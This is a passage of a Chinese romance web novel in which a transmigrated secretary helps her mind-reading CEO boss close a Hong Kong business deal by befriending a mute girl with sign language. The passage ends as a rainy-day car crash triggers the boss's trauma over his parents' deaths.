小男孩扯回自己的手,嫌弃地拍了拍,然而嘴上却没停:“我叫陆随,陆地的陆,随便的随。”
小虞晚瞪大眼,“怎么会是随便的随,我猜是‘随风潜入夜,润物细无声’的那个随。”
说完,小虞晚挺了挺胸膛,自信问他:“怎么样,我是不是很有文化。”
小陆随看着小虞晚,移开目光,撇撇嘴,十足傲娇:“不怎么样。”
小虞晚表情分明是笑着的,但虞晚心脏控制不住地抽痛起来,她捂着心口,面颊皱成一团,像是局外人一样看小虞晚和小陆随说话。
从床上惊醒后,虞晚摸到自己脸颊的泪水,她彻底没了睡意,坐在床边发愣。
她不明白,这到底是她的记忆还是原主的记忆。
如果是她的记忆,为什么会有陆随的存在,如果是原主的记忆,那珍珠糯米丸又该如何解释。
她和原主之间,怎么会有那么多巧合的地方。
虞晚恨不得将自己所有的记忆都找出来翻看,但越是思考以前的事情虞晚的脑袋就越疼,疼得她面色发白,浑身力气全无,似乎是潜意识在阻止她。
她及时停止思考,深呼吸几个来回,试图将梦和现实分清楚。
平静后,她拿起手机,此刻不过清晨六点半。
昨晚陆随给她发消息,询问她最近有没有时间,要不要回孤儿院看望林妈妈。
虞晚打字回复:【陆随哥,我来港城出差了,不确定什么时候回海市,如果有时间我给你发消息。】
将手机放下,虞晚起身去刷牙洗脸。
雨落了一整晚,如同新闻所说,直到八点雨势仍未减少,雨滴如黄豆般噼里啪啦砸下来,不远处高大的落叶乔木树在狂风骤雨中摇摆不定,今天实在是个糟糕的天气。
虞晚收到傅知尧的消息:【今天上午在酒店休息,下午雨势会减小,你看时间安排车。】
虞晚回复他:【好的老板。】
暂时被雨困在酒店,虞晚并没有松懈,安排好老板的早餐后,虞晚一边研究着电脑上的资料,一遍啃着奶黄流心包。
执掌泽域集团的董事长是步入古稀之年的知名企业家廖冠儒。
提到廖冠儒,虞晚最先想起的,还是他和他那时不时霸榜港城娱乐新闻的五房太太们之间的爱恨情仇。
集团挣了多少个亿,孩子们孙子们挥霍了多少个亿这类话题距离普通人的生活实在太遥远,还是狗血抓马的豪门八卦更吸引人的注意力。
廖老先生五位太太,目前只剩下四位,死去的那位正是五太太。
五太太朱怡静是廖老先生在做慈善活动时遇见的,那时的五太太不过刚满二十八,正值青春芳华。
一个二十八,一个五十九。
两人结婚当天,被港城媒体铺天盖地口诛笔伐,嘲讽两人是爷孙恋,谩骂五太太见钱眼开、罔顾人伦,就连虞晚这种不怎么看八卦新闻的人都知道了。
但五太太和廖老先生感情生活似乎不错,婚后第四年,生下了一个女儿,婚后第六年再次怀孕,却在产后因为大出血抢救无效,当场丧命,生下的那位男婴在保温箱里待了不足半月,也停止了呼吸。
自此,廖老先生意志逐渐消沉,慢慢退出集团的管理,放手让权力过渡到几位孩子手中。
虞晚和傅知尧此次前去谈合作的,正是二太太生下的长子廖佑林。
廖佑林在商场上杀伐果决,极具决策力和判断力,这点和傅知尧很像,但私生活方面,廖佑林毫不掩饰自己的花心,隔半个月就会换一个女伴,女友拿着天价分手费堕胎的事情更是时不时就要闹上热搜。
对比起来,傅知尧简直像个出家人,十足清心寡欲,洁身自好,不仅没有女朋友,就连未婚妻也只是个幌子。
虞晚总有种老板会注孤生的错觉。
下午两点左右,雨势终于有了减少的趋势,风也逐渐平息,虞晚赶忙联系酒店,将出行时间提前一小时。
一切准备妥当,虞晚敲开傅知尧房门,通知老板出发。
比起昨天,今日的傅知尧西装革履,精神面貌焕然一新,彷佛从前那个气势强悍的大魔王又回来了。
他正在对着床铺上的几
条领带纠结,见虞晚进来,朝她点了点下巴,“帮我选一条。”
虞晚打量着老板穿着的西装,平驳领纯羊毛黑色西装,光泽感好,版型贴合,线条优美利落,宽肩窄腰翘臀长腿的具象化。
无论多少次看傅知尧,虞晚都会暗暗惊叹老板的美貌和身材,不愧是小说男主。
她对照着老板身上的西装看床铺上的领带,最终挑选了一条暗红色条纹领带,刚好适配老板的红底黑皮鞋。
“老板,这条吧,这条领带很适合你。”
傅知尧将身子转向虞晚,微抬下巴,语气平淡不容置喙:“嗯,帮我系上。”
虞晚懵了两秒。
在傅知尧有如实质的注视下,虞晚踮起脚给老板系领带,挨得近,虞晚又闻到了熟悉的苦艾香气,但她没多余的脑子想。
虞晚满脑子都是该如何系领带,不过系领带应该就和系红领巾一样吧,两者都是系脖子上的东西。
欸,不对,红领巾该怎么系来着?
虞晚抿着唇,一脸认真地思索。
傅知尧原本偏过去的视线最终缓缓落回到虞晚脸上,白嫩光洁的鹅蛋脸,看不出一丝化妆的痕迹,但似乎涂了点口红,唇色比往日更鲜艳,这个距离,漆黑纤长的睫毛也看得一清二楚,甚至还能数一数有多少根睫毛,因抿唇微微鼓起的脸颊像个弹润的包子,让傅知尧手有些痒。
虞晚沉浸在系领结的世界中,并未注意老板的目光,将领带藏进衬衫领下方,领带一端固定,一端绕过去,再绕过去,之后塞进去,最后往上收拢。
完工!
猛地一下,好险没给傅知尧勒死。
“咳咳咳……”傅知尧拉开脖颈上的领带,咳嗽不止,瞪一眼缩着脖子的虞晚,“你要谋财害命啊。”
虞晚慌忙道歉:“对不起老板!我不是故意的!”
老板死了对她有什么好处,她一分钱都得不到好吗,而且……
“老板,你相信我,如果你发生了什么意外,我就是第一嫌疑人。”虞晚说得信誓旦旦。
下一秒。
“嗷!”
虞晚捂着脑门儿上被傅知尧弹的一个脑瓜崩,疼得眼泪都出来了,一只手捂着还是疼,虞晚用上了两只手。
可恶的资本家,仗着她不敢反击是吗?
等她有钱了,她一定要把离职书甩在傅知尧脑门儿上!
瞧了眼虞晚龇牙咧嘴的表情,傅知尧心情畅快了几分,解开脖子上缠得乱七八糟的领带,将她叫到落地镜前。
“过来,看看领带到底要怎么系。”
虞晚捂着脑门儿:“……”
不,她不想看。
身体相当诚实地走过去,温吞吞开口:“老板,你会系领带啊。”
傅知尧睇了虞晚一眼,不咸不淡道:“我还会用手机打字呢,但你猜,为什么每次通知开会的消息还要虞秘书你来发,我还会用手机订机票呢,但你猜,为什么此次出发来港城,机票还要虞秘书你来订。”
虞晚:“……”
好的好的,当老板了不起行了吧。
傅知尧不必看虞晚表情就知道她肯定在心里骂他,但他还是废话般说了一句:“你是不是又在心里骂我。”
虞晚:“……”
不知是哪句话亦或是哪个表情逗笑了傅知尧,虞晚瞧见镜子里的他,手指还在灵活地系着领带,平直的嘴角却缓缓上扬,冷冽深邃的眼底倏而多了一抹笑意,衬着没有一丝瑕疵的五官,宛若瑰丽的珠宝,漂亮得不像话。
虞晚眼神一飘,莫名有些不自在。
因此,当傅知尧问她学没学会时,虞晚第一次违心地点头说自己学会了。
第38章
出发到半路,那位廖佑林先生临时更改见面地点,将见面地点定在了老宅,香缇半山别墅,豪宅中的豪宅。
路上,虞晚将自己整理好的资料拿出来给傅知尧看,有需要重点注意的事项傅知尧会额外圈出来,再由虞晚拓展,看能不能说到点子上。
说得不对,傅知尧便会蹙眉,说得对,傅知尧便会挑眉。
虞晚就估着傅知尧的表情大胆开口,反正老板不是合作商,说得天花乱坠顶多被老板瞪一眼,什么损失都没有。
顺利抵达香缇半山别墅,雨已经停歇,雨后空气格外清新,带着潮湿的泥土气息。
廖家别墅里接见两人的是一位身着佣人服的菲佣,她只会说英语,听到虞晚表明来意,用中文不太熟练地说着:“跟我来。”
廖家别墅装修风格仿中式园林,雕梁画栋的柱子和游廊格外精致,雨后更是如水墨画卷般,每处建筑仿若活了过来,充满诗意和雅兴。
虞晚跟在傅知尧身后,很快便进了会客厅。
廖佑林从侧门出来,穿着白衬衫和棕色马甲,样貌和新闻中并无任何区别,浑身上下透露着一股风流成性的气质,皮鞋踩在地上声音干脆利落,他热情地同傅知尧打招呼。
“傅总,幸会幸会。”
视线一扫,看到旁边的虞晚,廖佑林眼神饶有兴致起来,“这位是?”
虞晚:“您好,我是虞晚,傅总的秘书。”
“啊,秘书啊。”廖佑林拖长了语调,话语中的鄙薄不言而喻。
虞晚蹙了蹙眉,虽然早就知道廖佑林这人混不吝,真正听到耳朵里还是觉得不舒服。
要知道傅氏集团的发展史不比廖家差,甚至可以追溯到上个世纪,傅知尧不是普通的富二代,往上数,爷爷的爷爷也是有钱人中的有钱人。
平日里谈合作,基本是合作方主动找上门,像今日这样主动赴约的次数少之又少。
除了眼馋泽域集团在国内医疗产业链和高端医疗服务,也盯上了泽域集团在医疗行业的口碑和影响力。
线上医疗服务平台最怕什么,最怕被不接受新鲜事物的大众认为是骗子,是挂羊头卖狗肉的庸医。
泽域集团的口碑能在很大程度上打消人们的顾虑,为线上医疗平台的铺设提供更有利的条件,同时,泽域医疗旗下的医院也能通过线上医疗平台获得曝光度,拓展收入途径,这对双方而言是双赢的合作。
只是,如何说服廖佑林便成了问题。
虞晚她们作为主动求合作的一方态度不能放得过于谦卑,否则在后续谈判中就无法把握主动权,但要是太过强势,对方也不是吃素的,合作能不能达成就是另外一回事。
总而言之,合作达成后的事情不需要虞晚操心,她不必和这位公子哥打交道,很快调整好面部表情。
傅知尧握着廖佑林的手瞬间松开,表情冷了些:“今日谈合作,廖总不带秘书?”
“反正决策是我一个人做,多个人少个人有什么区别。”
廖佑林还是懂得什么叫适当玩笑,见对面两人不悦,装作什么都没发生,轻飘飘带过话题,手臂一抬,请两位坐下聊。
一旁佣人识人眼色,端上来三杯热茶静着脚步退了出去,将空间让给三人。
不必傅知尧提醒,虞晚主动走上前,递上合作策划,“廖总您看,这是我们好医生线上医疗平台最近半年的成果展示,作为互联网医院国家试点平台之一,在政策方面得到了国家的大力支持,将线上医疗诊断和线下检查相结合,聚焦互联网医疗医药的交互模式,提供给患者更便捷……”
等虞晚讲述完,廖佑林收起眼底那抹轻视,再看旁边的傅知尧,坐姿坦然放松,似乎完全信任她这位小秘书的能力。
廖佑林接连抛出几个问题,每句都直指关键,别说是虞晚,就是傅知尧也要愣上几秒才能回答。
虞晚半点不慌,“廖先生,我理解您对合作方式的质疑,对您提出的困惑,我们可以一个接一个地讨论。”
早在来港城之前,虞晚就被老板拷问过一遍,对于合作方可能提出的刁钻问题和苛刻条款进行了深入模拟。此外,虞晚大大小小陪老板见过不少合作方,老板刁难起人来,完
全没有其他人发挥的余地,虞晚连老板都不怕,还会怕廖佑林的为难?
退一万说,就算廖佑林起了歹心要将两人绑架虞晚也不慌,老板身边的保镖可不是吃素的。虞晚自认也算细心,但她还是在成为老板秘书后第二个月才知道老板有保镖,每日低调换装埋伏在周围,保全老板人身安全。
因此,虞晚在没有傅知尧的提醒下,独立完成了对廖佑林提出质问的应答,回答虽然有些瑕疵,但讲话不怯场,条理清晰,在她这个年纪里,十分难得。
廖佑林翘着二郎腿,颇有些不爽,倒不是不满意虞晚的回答,而是——
傅知尧怎么就能跟大少爷似的坐在一边慢悠悠喝茶,他就得在这里一边听虞晚说话一边思考呢。
本以为不让秘书过来,能给这个内地大老板一点下马威,结果反而让自己骑虎难下。
他干脆报了个将对方利润空间压缩到极致的利润分配方式。
看到对面两人脸上的表情变化,廖佑林终于找回点主场:“怎么样?如果能接受,那我们的合作可以谈一谈,如果不能,很遗憾,泽域似乎并不缺客户,也不缺线上医疗平台赚的那点钱。”
虞晚面部紧绷,她下意识看向老板,这个利润分配实在无理,老板肯定是不会接受的。
空气沉默的空隙,虞晚大脑飞速运转,正准备从行业性质和市场发展趋势重新将傅氏的主动地位拉回来。
还没来得及开口,就看到傅知尧起身,表情冷硬,沉敛眉目的模样带了几分初见时的强大压迫感:“既然廖总心底有了判断,恐怕我这个秘书再舌灿莲花也是徒劳,那就不耽误彼此时间了,以后有机会再合作。”
廖佑林站起身,唇角蔑然地弯了弯,气场同样不容忽视:“傅总能力卓然,我们泽域对合作是求之不得,但一个在海市,一个在港城,鞭长莫及这个道理傅总应该比我更懂。”
两个人高马大的男人面对面站着,周围气氛顿时变得沉甸甸,哪里有虞晚这个小秘书说话的余地。
她只知道,合作泡汤了。
离开之前,虞晚去了趟洗手间,从洗手间出来,虞晚原路返回,走着走着,虞晚迟迟没看到熟悉的建筑。
她意识到,自己大概是迷路了。
四周搜寻一圈,偌大的园林别墅内,一时竟找不到一个问路的佣人。
虞晚叹口气,家太大了也不好,就在虞晚纠结着要不要打个电话麻烦老板时,她注意到躲在假山后偷看她的小女孩,扎着两根麻花辫,皮肤苍白得像是张纸,瘦小瘦小的身子,带着点恹恹的病气。
对上虞晚的视线,小女孩‘嗖’地一下缩回脑袋,只有假山旁边漾出来的裙摆表明女孩还站在原地。
虞晚走过去,友好询问:“你好,我迷路了,能告诉我会客厅该往哪个方向走吗?麻烦了。”
小女孩探出脑袋,好奇地看着她。
虞晚见她年纪和傅许安差不多大,半蹲下身,耐心重复:“你好,我叫虞晚,我不小心迷路了,你知道会客厅在哪个方向吗?”
小女孩没说话,点点头,拉过虞晚的手带着她走出弯弯绕绕的长廊。
“谢谢你。”虞晚说。
小女孩没说话,摆摆脑袋,表示不客气。
虞晚这才后知后觉反应过来,小女孩似乎不能说话,虞晚脚步停下,朝着小女孩比划了一个手语:谢谢你。
小女孩微微瞪大眼,漆黑的瞳孔里满是吃惊,她看着虞晚,颇有些激动地比划:你会说手语?!
虞晚比划:海市手语和港城手语不太一样,如果我比划错误,请告诉我。
小女孩笑起来,嘴边有个浅浅的酒窝:你很厉害。
虞晚拍拍自己胸脯:我还能更厉害。
小女孩好奇看着她,虞晚右手在空中灵活地转动一圈,像是仙女在施法,随后在小女孩脑后伸手一抓,掌心摊开朝上,一枚紫色的香芋糖就静静躺在虞晚手心。
小女孩愣了好几秒,看看虞晚,又看看香芋糖。
虞晚笑:谢谢你为我指路,香芋糖是谢礼。
这香芋糖还是她在机场候机室里拿的,当时只是怕没时间吃饭,揣了几颗糖备不时之需。
小女孩收下虞晚给的糖,朝她比划:我没吃过这个糖,谢谢你,也很少有人像你这样和我聊天,因为大多数人都不懂我想说什么,手语不比说话,很多人不愿意学。
虞晚明白。
时代发展得太快,科技发展得也太快,大家没有耐心等待长达一分钟的红绿灯,没有耐心等待下载视频时的一分钟,今天开始练字就希望明天能写一手好字,晚上开始锻炼就希望明天掉秤三斤,恨不得做什么事情就立刻有结果有回报。
虞晚当时学手语的契机是因为奖学金被举报一事,那时没人帮她处理举报结果,虞晚跑来跑去搜集证据,找导员,找院长。
夏天天气炎热,虞晚跑得满头汗水,最后是路边一位和善的清洁工奶奶给了她一瓶矿泉水,用手语比划让她喝。
这才有了她学手语的事情,学会了手语,如果下次遇到那位奶奶,就能亲自用手语和她道谢了。
虞晚朝小女孩比划:很多表达不需要靠语言,用心也能倾听。
不等小女孩回答,一道中气十足的声音响起:“廖如萱,你今天不喝药,又往哪里跑?”
第39章
虞晚循声看过去,是一位头发花白的老爷爷,一身深蓝色唐装,一只手拄着拐杖,一只手背在身后,身姿挺拔如松,精神矍铄,气场深沉。
虞晚下意识弯腰问好:“不好意思,是我迷路了,让小朋友帮忙带我出来。”
说着说着,虞晚倏尔反应过来,面前这位老人家,不正是泽域集团的董事长廖冠儒吗?
大概是有气场的加成,真人看起来比新闻媒体拍摄的照片中更年轻。
那这位给她指路的小女孩,是不是廖冠儒那位去世的五太太的独女?
虞晚脑子一时有些乱。
小女孩松开她的手,朝着廖老先生跑过去,同他比划:她会说手语,是新来照顾我的吗?我想要她照顾我。
廖冠儒宽厚苍老的手拍了拍廖如萱的脑袋,并不回答,他看向虞晚,目光沉沉颇具震慑力:“你来干什么的?”
虞晚顿时收回脑子里乱七八糟的豪门八卦,规规矩矩回答:“您好,我是傅氏集团总裁傅知尧的秘书虞晚,我陪老板过来见廖佑林先生,想同他聊一聊好医生线上医疗平台的合作问题。”
廖冠儒声音稳健,意有所指:“谈生意?睡觉生活的地方可不是一个适合谈生意的地方。”
虞晚怎么会不知道。
但决定权在廖佑林那边,原本是要去公司洽谈,但他临时更改见面场所,虞晚和傅知尧只能配合,又不得不在抵达前,专程去礼品店买了些贵重礼品,好在上门的时候不至于过于突兀。
虞晚正要随意附和两句,想到点什么,话题一偏。
“倒也不能这么说,廖先生还是很看好我们公司项目的,也同意了合作,不过他要求利润分配按他说的来,利润分配标准实在是苛刻,虽然我们非常、特别、极其想要和泽域合作,也有心无力,毕竟,我们傅氏旗下的好医生线上医疗平台已经建立了将近三年,无论是平台的建设还是医疗资源的互通……”
虞晚一连使用多个表强调的形容词汇,表情一本正经,咬字坚定,提到项目内容时更是条理清晰,说得头头是道,就差把毛遂自荐这四个字写到脑门上。
在廖冠儒这个商场老狐狸面前,虞晚的小心思过于明显,奇怪的是,廖冠儒并不不觉得讨嫌。
敢说,会说,某种程度上很合廖老爷子的胃口。
另一边,傅知尧坐在沙发上,等了十分钟还不见虞晚的身影,他看了眼腕上的手表,忍不住地猜测,
难不成是拉肚子了?
不,也不对,虞晚带着手机,要是闹肚子,肯定早就给他发了消息。
就在这时,身着西服的老管家敲门走进会客厅,直奔沙发上的傅知尧而来,面带微笑:“傅先生,您好,我是廖老爷的管家,廖老爷请您过去坐坐,想留您和虞秘书吃一顿晚饭,您不介意吧。”
傅知尧敏锐察觉到这时和虞晚有关,没有拒绝,点头同意了。
老管家将身子转向一旁的廖佑林,“大少爷,廖老爷让您也过去。”
廖佑林指了指自己,一脸疑惑:“我?我去干什么?”
老管家笑而不语。
对视半晌,廖佑林最先弃甲,站起身,面无表情地整理衬衫下摆,“走吧,傅先生。”
作为廖二太太的孩子,廖家的长子,廖佑林比任何人都清楚,在廖家,把握着决定权的人是谁,即便廖老爷子最近几年对外宣称退位让贤,主动让几房太太的孩子进入公司把握实权,但只有廖佑林清楚。
全都是假象。
他这个长子,每年拿着的除了工资就只有在成年时得到的基金分红,要说多不多,自然是多的,一个普通人就是从出生开始每天不吃不喝赚钱打工都不一定能赚到他一个月花掉的钱。
但这些对他来说是不够的,至少对廖佑林这个名字来说是不够的,就是潇洒给钱打发那些拜金难缠的女人们都要廖冠儒这个老子签字。
谈自由,谈权利?
恐怕要等廖冠儒死了才行。
等两人抵达餐厅,一眼就看到坐在廖冠儒旁边的虞晚,她正在和廖老爷子聊天,两人之间的氛围简直能用相谈甚欢、相见恨晚来形容。
傅知尧不是第一次见廖冠儒,在先前的几次经济金融会上碰过面,也聊过几句商场上的事情,但像虞晚这样自然和老爷子话家常的——
恐怕说出去都没几个人会相信。
谁能想象一个在商场上驰骋多年,心眼儿多得和筛子一样,动动手就能轻而易举让一家公司破产倒闭,甚至家族产业还沾点黑色的老爷子会对一个小姑娘如此和蔼。
不过想想虞晚平时的表现就知道了,虽然人有些笨,但气场澄澈干净,身上总带着一股积极阳光活力满满的劲儿,时常一句话将人噎得半死,却察觉不到半分,木讷实诚,又过分坦然。
实在难以想象这样的特征存在在同一个人身上。
廖老爷子注意到进来的两人,抬手,平和从容地让两人坐下,“傅先生,久仰大名。”
傅知尧颔首:“廖董客气了,冒然打扰,多谢您的款待。”
他坐到虞晚旁边,长桌对面是廖佑林。
廖佑林旁边,挨着首位廖老爷子坐着的是一位扎着双马尾的小女孩,看起来不过六七岁的年纪,和傅许安差不多大,但相较傅许安结实的小身板,这个小女孩过分孱弱了些。
应该是廖老爷子去世的五太太的女儿。
饭桌上不适合谈生意,傅知尧和廖佑林心照不宣带过合作破裂一事,客客气气地吃了一顿饭。
吃到最后,廖冠儒接过佣人递来的热毛巾,擦了擦嘴,不紧不慢开口:“我听虞晚说了傅总公司里线上医疗平台的事情,佑林,你怎么看?”
傅知尧看一眼虞晚,虞晚朝他眨眼睛,彷佛在告诉他,别担心。
傅知尧当然不会担心,他不比虞晚,读心术技能让他能极快了解面前人的所思所想。
拒绝廖佑林的利润分配方式是看出廖佑林的敷衍和不配合。
这种情况下,即便合作,对方恐怕也不会上心,再加上廖佑林明显的轻视和傲慢,因此便断然站起身回绝了廖佑林的要求。
而现在,他和虞晚被廖老爷子留下来吃饭,很大程度上就表明了廖老爷子的态度。
果然,廖冠儒和廖佑林聊了不到三句话,就敲定了合作的事情,并让廖佑林将后续的项目书拿给他过目。
这表明,就算廖佑林想要在项目里使点绊子也有廖老爷子这个定海神针监督。
从廖家别墅离开时,虞晚心情相当畅快,看到廖佑林的臭脸,更是开心。
廖如萱站在门口,依依不舍地和虞晚挥手。
虞晚明白,今天这单生意能达成,主要还是因为廖如萱小朋友,如果不是她牵着自己找到路,虞晚和傅知尧这回可能真的是无功而返。
虞晚半蹲下身,朝她比划手语:如果你下次来海市,可以找我玩。
廖如萱点点头:我会的!
她伸手抱住虞晚。
傅知尧目光落在虞晚身上,忍不住地猜测,虞晚难不成涂了什么小孩诱捕剂,怎么一个两个的都对虞晚念念不忘。
就连家里的傅许安也是,时不时把虞晚这个名字挂在嘴边,三天两头给他发消息,想邀请虞晚来别墅里玩。
对虞晚会手语这件事,傅知尧并不惊讶,他看过虞晚的简历,她写了课外参与的一些社会公益活动,提到了会手语这一点,还因为气质不错,上了海市一档民生电视节目。
傅知尧当时上网搜了搜,看到了比现在更青涩稚嫩的虞晚,扎着高马尾,眼眸干净透亮,手语动作流畅,还有网友截图发到社交媒体上询问联系方式,不过没什么热度,自然也没人解答。
上了车,挡板升起,傅知尧开始算账。
“你也是大胆,居然敢在廖老爷子面前提合作,你以为你的方法很高明?”
虞晚十分上道,认真同老板解释:“老板,我觉得我们的项目很优秀,如果就这么回去实在太可惜了,反正合作已经被廖总拒绝了,就算廖老先生再拒绝,结果也不会差到哪里去。再说了,廖老先生年岁高,经历得多,还会因为我说的几句话就和我斤斤计较从而针对傅氏吗?所以,我大胆同廖老先生提了我们的项目,要是能让廖老先生发话,老板你就不用发愁了。”
虞晚明白老板对这次合作的重视。
无论是前期开会探讨,对她的洽谈培训,还是亲自登门拜访,都能看出傅知尧对此次合作的上心程度,尽管方才的交流中傅知尧说话次数不多,但虞晚说的那些话,可都是傅知尧教给她的。
另外,虞晚觉得她说话并不鲁莽。
虽然网络上有关廖佑林成为廖家继承人的说法铺天盖地,几乎所有人都认定廖佑林会是豪门继承者的热门人选,但虞晚仔细搜索过廖佑林所持有的几家公司以及带领的项目,总觉得里面有廖老爷子的手笔。
加上廖老爷子对廖如萱亲昵慈爱的态度,所以虞晚就大胆尝试了一次。
成功了自然是好事,可失败了也不会亏,不是吗?
傅知尧眉梢微抬,明明心底服气,嘴上却不肯认输:“你也就仗着廖老爷子年岁大了,要是再年轻点,就凭你说的那些话,直接将你赶出廖家也不是不可能。”
虞晚诧异。
“老板你知道我说了什么吗?”
傅知尧:“……”
他是不会告诉虞晚自己会读心术,那岂不是被虞晚当成怪物了。
“呵,猜也猜得出来,无非是说廖总不同意合作,再加点形容词表明你非常想合作。”
傅知尧淡定自若地将虞晚同廖冠儒说过的话提炼简化。
要是真的一比一复述,虞晚这人估计要怀疑他是不是在她身上装窃听器了。
虞晚自然不会往老板有读心术这方面想,她只是觉得,老板这么厉害,猜到她说了什么也是理所
当然的。
虞晚看着傅知尧:“老板,我知道您还有其他的合作人选,但相比那些合作方,您最看重的还是泽域对吧,现在合作达成了,您说,这算不算峰回路转,柳暗花明?”
车窗外的灯光跃过虞晚宁静温柔的眉眼,她的眼睛一如既往的明亮,像是波光粼粼的湖面,像是火焰、星光之类。
傅知尧愣怔了半秒,收回视线,狭长的眼垂下,侧脸轮廓分明。
半晌,傅知尧终于开口,一贯的傲慢口吻,却并不显得嘲讽:“说这么多废话,你是想加工资吧?”
虞晚:“……”
怎么回事?老板居然怀疑她别有用心?她就不能只是单纯地想对得起自己赚的工资吗?
沉默五秒,虞晚试探道:“老板,可以吗?”
傅知尧:“……”
第40章
插科打诨般聊了几句,虞晚和傅知尧没再说话。
在廖家别墅耽搁的时间有些久,谈合作一事十分耗费精力,两人各自靠在车座上休憩,恢复精力。
不多时,天空逐渐飘起雨滴,从起初的淅淅沥沥,到后来的噼里啪啦,不到五分钟时间,雨水如注顺着车窗滑落,将车窗外的景物模糊。
虞晚下意识扭头看向傅知尧,他撑着下巴,目光落在车窗外,眼眸情绪晦涩不明。
虞晚将保温杯拧开,递到傅知尧面前:“老板,这里是我出门时倒的热水,您要喝点吗?”
“保温杯是我新买的,在用之前我洗干净了。”
傅知尧看了眼虞晚,从她手中接过保温杯,低头喝了一口,还是合适的温度,微微烫,却不至于无法入喉。
他忽然有些庆幸自己当初因为好奇无法读懂虞晚内心而将她调来当自己秘书的决定。
如果是其他人,他恐怕会因为听到的心声过度忖量生疑,最终将人换岗或辞退。
这也是为什么总裁办成立至今,只有林总助、蔡秘书和尚秘书三位常驻。
能听到人的心声对他而言,是恩赐,也是惩罚。
人心是复杂多变的,光看外在要如何了解透彻,拥有读心术,不需要花费精力观察或者花费时间打听就能知道对方一举一动的含义,多么便捷好用的一项能力,但同样也是读心术,让他在十几岁的年纪就明白了社会的险恶和他人龌龊的居心,对除家人外的亲密关系抗拒不已。
父母及时察觉他的情绪,对他给予多倍的关心,开导他,主动带他上门解除和郁瑾潼的婚约,告诉他,即便不恋爱不结婚不生孩子也没关系,这个世界这么大,生他不是为了让他按照既定的路线成长,是让他体验世界。
在父母去世前,傅知尧从未被逼着去学习经营商场上的事情,父母离开后他甚至想过就这么算了,将公司让给其他董事,反正有他们留下来的基金会,一家人不至于流落街头。
但那些老狐狸哪里是好对付的,一个比一个贪心,恨不得将傅家全部掏空,看着奶奶一人努力应付那些刁钻的老狐狸们,傅知尧最终还是站出来,作为遮风挡雨的存在,为家人提供庇护。
时至今日,傅知尧仍不敢回想父母车祸那天发生的场景,因为太过惨烈,货车上载着重量将近八吨的钢材,如猛兽般冲过栏杆和马路,朝着父母所在车辆的方向决绝撞去。
肇事的货车司机死亡,开车的司机死亡,坐在后座的,他的父母死亡。
午夜梦回,傅知尧觉得自己身上黏稠的汗液更像是血液,将他困在父母车祸去世的那个雨天。
窗外的雨滴噼里啪啦,丝毫没有减弱的趋势,似乎要用力砸进他心里,将他心反复捣碎。
过了五分钟,雨势不仅没变小,反而越来越大,天空和地面颠倒好像一瞬颠倒过来,即便雨刮器在努力工作,车子前行的视线还是严重受到阻碍。
虞晚能明显察觉到佘师傅放慢了车速。
虞晚询问前方开车的佘师傅:“佘师傅,现在雨太大了,您还认得出路吗?有没有地方紧急停一下车,看不清路实在是危险。”
佘师傅早在暴雨落下时就减了速,听到虞晚的话,回道:“虞小姐,现在这种情况不方便停车,前后两侧都是车,其他车辆速度应该也会放缓,虞小姐不用太紧张。”
谁料佘师傅刚说完的下一秒,一辆车就猛地从对面撞了上来。
尽管系着安全带,虞晚身体还是不由自主前倾,脑袋撞上驾驶座的靠枕,顿时眼冒金星,虞晚顾不得自己脑袋有没有问题,连忙去看傅知尧。
“老板你还好吗?”
傅知尧脸色不算好,眉头紧蹙,好半天才艰难吐出两个字:“没事。”
司机佘师傅也吓了一跳,但气囊没弹出来,说明撞车情况不算太糟糕。
佘师傅立刻开启报警闪光灯警示身后的车辆,同时解开安全带:“虞小姐,你们别着急,我先下车看看。”
“好。”
不等佘师傅去拿后备箱的三角警示牌,对面那辆肇事车的主人就撑着伞下车,气势汹汹走来,用粤语破口大骂:“脑袋上的眼睛是长着当装饰品的吗?!我车前板都被你撞飞起了,你知不知道你是在逆行啊,下这么大的雨速度还这么快,你赶着去投胎啊!”
虞晚就算是不懂粤语也明白,对方是不占理还要骂。
佘师傅开始还有些懵,等反应过来,便开始急吼吼和对方理论,双方隔着大雨对峙。
“你自己看看,是你开错车道逆行撞的我们,我现在就给交警打电话,让警察过来评理啊!”
虞晚见状,抓起一旁的两把伞,看了眼旁边的傅知尧,“老板,我下车帮佘师傅拿警示牌,您在车上等等。”
推开车门,雨声瞬间被放大,噼里啪啦朝车内倾覆,紧接着,车门关上,世界又恢复安静。
傅知尧攥紧掌心,克制胸口起伏不定的急促呼吸,缓慢抬头去看虞晚。
天色已暗,只有路灯和路边五光十色的店铺灯牌照映着虞晚的身影,她在偌大的雨里将伞递给佘师傅,绕去后备箱拿警示牌,沿着道路中央的栏杆往后走,将警示牌放好,原路返回。
雨好似小了一些,傅知尧看清了虞晚的脸,她撑着一把比她身体大许多的黑伞,但仍旧有飞溅的雨水落到她身上,将她的长裤和外套袖口弄湿。
虞晚没察觉,忽然低头,隔着车窗朝他看了一眼,转过脸,不知和司机说了些什么。
片刻,他这边的车门被打开。
虞晚在雨声中开口:“老板,雨下太大,对方方向盘没打稳,逆行撞上了我们,佘师傅已经给交警打过电话了,交警马上到,我们先下车,暂时在路边等一等,坐在车上等不安全。”
即便外面下着雨也必须出来,雨势实在大,难免有司机没注意情况,再次撞上来。
等虞晚说完,才发现傅知尧一直没有给她回应,虞晚伸手在傅知尧眼前晃了晃,声音迟疑:“老板?”
傅知尧像是没听见虞晚的声音,整个人身体弓起来,将脑袋埋进怀里,后脖颈露出来,骨头凸起一道锋利的弧线,像龟缩在壳里的蜗牛,呈现出一种自我保护状态。
“老板?你是不是不舒服?”
虞晚没敢擅自碰傅知尧,蹙眉轻声询问。
佘师傅理论到一半,转过头,发现虞晚和傅知尧还没下车,隔着雨声对她喊:“虞小姐,先带傅先生下车,我已经联系了同事,他马上就能来接你们,你们先在路边等等!”
“好!”
眼见着几辆车从她身后飞驰而过,虞晚看着被雨水模糊的道路,还是决定将傅知尧先从车上带下来。
毕竟安全第一。
虞晚又唤了老
板一声,傅知尧依旧没给她回应,虞晚顾不得那么多,将傅知尧肩膀扶起来,傅知尧脑袋随之抬起,虞晚毫无防备对上一双神色呆滞的眼,漆黑的眼睛里什么情绪都没有,只剩茫然和空洞,彷佛在一瞬间失去了对外界的感知能力。
虞晚一怔。
她记起来,傅知尧的父母是在一个雨天车祸去世的。
而现在,雨天,车祸,两种要素齐全。
虞晚抓住傅知尧的手腕,才发现老板的手在颤抖,确认老板不抗拒,虞晚开口,声音放缓:“老板,你先下车,我们现在很安全,没关系的,我们在路边等一会儿就好,佘师傅已经给同事打电话了,我们马上就能回酒店,回酒店洗个热水澡很舒服的。”
